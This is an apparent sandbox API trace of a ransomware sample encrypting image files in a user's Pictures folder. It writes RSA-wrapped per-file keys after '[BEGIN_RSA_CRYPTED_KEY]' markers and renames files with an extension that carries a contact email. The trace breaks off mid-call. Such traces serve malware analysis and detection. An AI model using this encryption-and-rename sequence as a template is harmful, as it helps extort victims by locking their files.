1 [0148.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x57eca8 [0148.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x5c1ce8 [0148.831] ReadFile (in: hFile=0x600, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0148.832] SetFilePointer (in: hFile=0x600, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.832] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0148.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0148.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.832] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f8 [0148.832] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.832] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.832] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.832] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pNuvl6SanJS6mgUZ/jK0ZHhWL/nDW0poqXHuOrZFYPV1lG57t8/Dwges9nvHxhsv\nlahoL8X57lqh6df9C4FZSmMv25RlMBkklIpiih3Pes7e3zAjd5gc2yOK3wasx9vS\ni83mK5NQV5Md7LbVLOfuZocSkyKgMUdzFvxPj1Zj7Mx5sof9N+aeKyB+serneoGy\nJ0p2UNtuzXiN0qVFhyzlzJY1Ey/X2Q+qf69R6kLXMNuyPJbGV6Blfq7upKOIZFd9\nMW5dYAVh7MQpnFuUrPtGA9vxIIVh1NIGOw6iCCMB+ZZvY/9hw6lPhIPy4kyuCZC8\nwZfJh5tEUyJi3Thc2lZDXg==\n", pcchString=0x2e3f9a8) returned 1 [0148.833] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.834] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.834] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.834] CloseHandle (hObject=0x600) returned 1 [0148.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.834] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0148.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.838] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.838] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\d2 hDM8KirVN.gif", dwFileAttributes=0x80) returned 1 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.838] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0148.838] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\d2 hDM8KirVN.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\d2 hdm8kirvn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.838] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=88039) returned 1 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x157e7) returned 0x631898 [0148.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x157e7) returned 0x647088 [0148.838] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x157e7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x157e7, lpOverlapped=0x0) returned 1 [0148.840] SetFilePointer (in: hFile=0x600, lDistanceToMove=-88039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.840] WriteFile (in: hFile=0x600, lpBuffer=0x647088*, nNumberOfBytesToWrite=0x157e7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x647088*, lpNumberOfBytesWritten=0x2e3f9b4*=0x157e7, lpOverlapped=0x0) returned 1 [0148.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x647088 | out: hHeap=0x570000) returned 1 [0148.841] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x157e7 [0148.841] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.841] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.842] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.842] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pDjgVzqBI0s1q4t3v5gv3C7TJd899cXi8zp3hwkXf9ZcX4dVg+hQHd20GcaIS4NG\nQLip1PkpsLPYGglLZ3IVWQOAgfKzQ5wo56ywKtiO7CERgBqSFQUUyntsZMWeX9Sg\neYZBzBAKziPo/n6wxSf02G12f+1WEogLSESl1J3uzvX1McKMODQgGBU306YGlugF\nFVIFUg0bx+4nNFo6SRaHTHUlOP1TlIQNR6eNXbsvwTgNmQRHvqFDTiwcTZupmVCQ\nMmzWDGdj03go110hUuszES7tUdi9vKt8kljcg8Kk69hwy3C14RtjAotjIk0xA1dK\nO0+GBjzZubv4Z4AVpmYZQA==\n", pcchString=0x2e3f9a8) returned 1 [0148.842] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.842] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.843] CloseHandle (hObject=0x600) returned 1 [0148.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.843] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\d2 hDM8KirVN.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\d2 hdm8kirvn.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\d2 hDM8KirVN.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\d2 hdm8kirvn.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0148.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.845] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\aOWokbg73cw-ff_OHj.jpg", dwFileAttributes=0x80) returned 1 [0148.846] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0148.846] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0148.846] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\aOWokbg73cw-ff_OHj.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\aowokbg73cw-ff_ohj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.846] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=92789) returned 1 [0148.847] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x16a75, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x16a75, lpOverlapped=0x0) returned 1 [0148.849] SetFilePointer (in: hFile=0x600, lDistanceToMove=-92789, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.849] WriteFile (in: hFile=0x600, lpBuffer=0x648318*, nNumberOfBytesToWrite=0x16a75, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x648318*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16a75, lpOverlapped=0x0) returned 1 [0148.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x648318 | out: hHeap=0x570000) returned 1 [0148.850] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16a75 [0148.850] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.850] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.850] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.850] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.851] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.851] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="yhF0uIVhuSDrdDHsz7HtaqB2k0FUBWzwvV+AugP/XtN0GM55rxCUqvXzbNl1nRfQ\nYaZwGQlMfN9Ew/8UFZfMjCsiQJ5KV3CliKt71qq+V7RoAZHirFXblXLY51hZQDNi\nMMho4y1WusKa+FBhvC5i/l67G4Lxfql416LNSonJ/Otavoe685JfArm/62HJ5RkF\n+aguSjI9jQYK5Z5J1XRjVd0N/+sgjCF8Qe3oWBkX2j2aIYrkbNUWzvvKkVQ53c8q\n90IHLbeD2vOh5zB1GtSVVB6B4lQr6j0bXGrkIdce3wFDZOmGCf0rdQf+/c3hG7mu\n2nLE8/oms6fSaU24SdE5Vg==\n", pcchString=0x2e3f9a8) returned 1 [0148.851] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.851] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.851] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.851] CloseHandle (hObject=0x600) returned 1 [0148.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.852] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\aOWokbg73cw-ff_OHj.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\aowokbg73cw-ff_ohj.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\aOWokbg73cw-ff_OHj.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\aowokbg73cw-ff_ohj.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0148.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0148.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0148.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.854] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.854] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\9ycf8164-1A.png", dwFileAttributes=0x80) returned 1 [0148.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0148.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\9ycf8164-1A.png" (normalized: "c:\\users\\fd1hvy\\pictures\\9ycf8164-1a.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.854] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=56186) returned 1 [0148.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdb7a) returned 0x631898 [0148.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdb7a) returned 0x63f420 [0148.855] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xdb7a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xdb7a, lpOverlapped=0x0) returned 1 [0148.856] SetFilePointer (in: hFile=0x600, lDistanceToMove=-56186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.857] WriteFile (in: hFile=0x600, lpBuffer=0x63f420*, nNumberOfBytesToWrite=0xdb7a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f420*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdb7a, lpOverlapped=0x0) returned 1 [0148.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f420 | out: hHeap=0x570000) returned 1 [0148.857] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdb7a [0148.857] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.857] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.857] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.857] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.857] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.858] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.858] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="1PNN+w0xo9vXBMaAISZQJWU+UkSCI/4uyL4VJ0lnyZ6ZWbsELhvz1LP6dqGZMmY8\nyGFcpF+jEZGkiCkOUeaS/Fk6WP/YugiEVMfadgsoTCugxz4dcl0INJcXDrckBbxQ\nXONNpcYNk1f6bhcBfkbq05AYjuuZl66euY6yC3EGVs1o2p3Eo9qKZ2RxBGZ6vD9Q\nJx74wysS5zjRL1WDqArGKkfOI11D02ymVqYt0s+fxC6P6etGW3eOOqjp03+DNf6i\nWHpqAMASbwIG96+ixVPKU/ypsU1460qSK0IUDW1wNb+pUCcIUAXSUoZO43k3F9Ao\nqo2fG2AX3VFv4ISZTf1PJA==\n", pcchString=0x2e3f9a8) returned 1 [0148.858] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.858] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.858] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.858] CloseHandle (hObject=0x600) returned 1 [0148.858] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.858] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\9ycf8164-1A.png" (normalized: "c:\\users\\fd1hvy\\pictures\\9ycf8164-1a.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\9ycf8164-1A.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\9ycf8164-1a.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0148.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0148.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0148.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.860] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.860] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\3b8zhwJ8f88GMvoUy.gif", dwFileAttributes=0x80) returned 1 [0148.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0148.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0148.861] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\3b8zhwJ8f88GMvoUy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3b8zhwj8f88gmvouy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.861] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=57025) returned 1 [0148.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdec1) returned 0x631898 [0148.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdec1) returned 0x63f768 [0148.861] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xdec1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xdec1, lpOverlapped=0x0) returned 1 [0148.863] SetFilePointer (in: hFile=0x600, lDistanceToMove=-57025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.863] WriteFile (in: hFile=0x600, lpBuffer=0x63f768*, nNumberOfBytesToWrite=0xdec1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f768*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdec1, lpOverlapped=0x0) returned 1 [0148.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f768 | out: hHeap=0x570000) returned 1 [0148.863] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdec1 [0148.863] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.863] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.863] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.863] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.864] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, 